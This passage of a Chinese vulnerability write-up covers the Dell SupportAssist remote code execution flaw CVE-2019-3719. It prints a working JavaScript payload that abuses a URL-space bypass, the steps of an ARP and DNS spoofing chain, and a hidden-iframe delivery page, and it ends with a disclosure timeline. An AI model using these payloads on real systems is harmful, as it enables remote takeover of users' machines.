如果我們可以向Dell SupportAssist客戶端提供一個類似http://的URL,那我們就能非常容易地攔截并修改其中的響應消息了!在某種程度上就能解決這個最難的問題了。
另外一個問題看似是為了應對繞過第一個問題而設置的,結合前述分析,當文件下載URL是http://,則它會被https://代替,這是完整性檢查中的相關方法定義:
file.Location=file.Location.Replace("http://", "https://");
重點來了,按照上面的定義,也就是說,如果文件下載URL是”http://”樣式的,那么就會被替換為”https://”,那要是文件下載URL是其它樣式的,那意思是就不會被替換為”https://”了?為此,我們來試試,在”http://”中的左括號后加上一個空格,即:“http://downloads.dell.com/abcdefg”,這樣一來,當執行完整性檢查的時候,由于該文件下載URL是以“ ”空格開始的,所以,它的檢查結果狀態會返回false,但這也不影響后面部份的 http://downloads.dell.com/abcdefg執行。為此,我編寫了如下的JS自動請求發送腳本來實現這種URL繞過:
function SendRCEPayload() { var auto_install_url="http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken; var xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST", auto_install_url, true); var files=[]; files.push({ "title": "SupportAssist RCE", "category": "Serial ATA", "name": "calc.EXE", "location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY "isSecure": false, "fileUniqueId": guid(), "run": true, "installOrder": 2, "restricted": false, "fileStatus": -99, "driverId": "FXGNY", "dupInstallReturnCode": 0, "cssClass": "inactive-step", "isReboot": false, "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10", "$$hashKey": "object:210"}); xmlhttp.send(JSON.stringify(files)); }
有了這個Payload,現在就要想辦法在同一網絡中構造攻擊端了,以下是我在PoC階段有效的攻擊端搭建步驟:
1.在同一網絡中獲得特定網絡接口下的某些IP地址;
2.模擬戴爾Web服務端并提供一個包含路徑的任意可執行程序,該程序文件對應于戴爾網站提供的驅動程序。模擬的Web服務端會檢查請求主機頭是否為downloads.dell.com,如果是則會發送可執行程序;如果請求中有dell.com域名,但是不是downloads下載域名,則它會發送上述的JS自動請求腳本。
3.接下來,要對目標系統執行ARP欺騙,這里要開啟IP轉發才能把ARP包發送到目標系統,這樣在路由和目標系統之間才能形成共識。我們會每隔幾秒就重復發送這些ARP包,退出后,會把原始的MAC地址發送給目標系統和路由。
4.最后,我們要使用iptables將DNS數據包重定向到網絡過濾器隊列來進行DNS欺騙,通過監聽這個網絡過濾器隊列,并檢查目標系統請求的域名是否是我們的目標網址(戴爾技術支持網站)。如果是,我們會發送一個假的域名系統數據包,表明我們是該網址的真正IP地址。
5.當目標系統受害者訪問我們的子域(直接通過網址或通過iframe間接訪問)時,我們會向它發送惡意的JS腳本,由它來發現Dell SupportAssist客戶端的服務端口,然后從我們之前創建的php文件中獲取簽名,最后發送RCE Payload。當Dell SupportAssist客戶端處理RCE Payload時,它會向downloads.dell.com發出請求,這時我們結合以下的ARP和DNS欺騙效果,將會向目標系統返回一個任意的可執行程序。
PoC漏洞利用視頻如下:
視頻中的惡意dellrce.html源碼為:
<h1>CVE-2019-3719</h1> <h1>Nothing suspicious here... move along...</h1> <iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>
具體的漏洞利用工具參見Github:https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC
漏洞上報進程
2018.10.26 向Dell進行漏洞初報
2018.10.29 Dell給出回應,驗證漏洞
2018.11.22 Dell驗證漏洞
2018.11.29 Dell計劃在2019年初給出暫時性修復補丁
2019.1.28 Dell告知漏洞公布延遲至3月
2019.3.13 Dell修復計劃滯后,漏洞公布延期至4月
2019.4.18 Dell發出漏洞公告CVE-2019-3718
2019.4.30 我公開漏洞
*參考來源:d4stiny,clouds編譯,轉載自FreeBuf.COM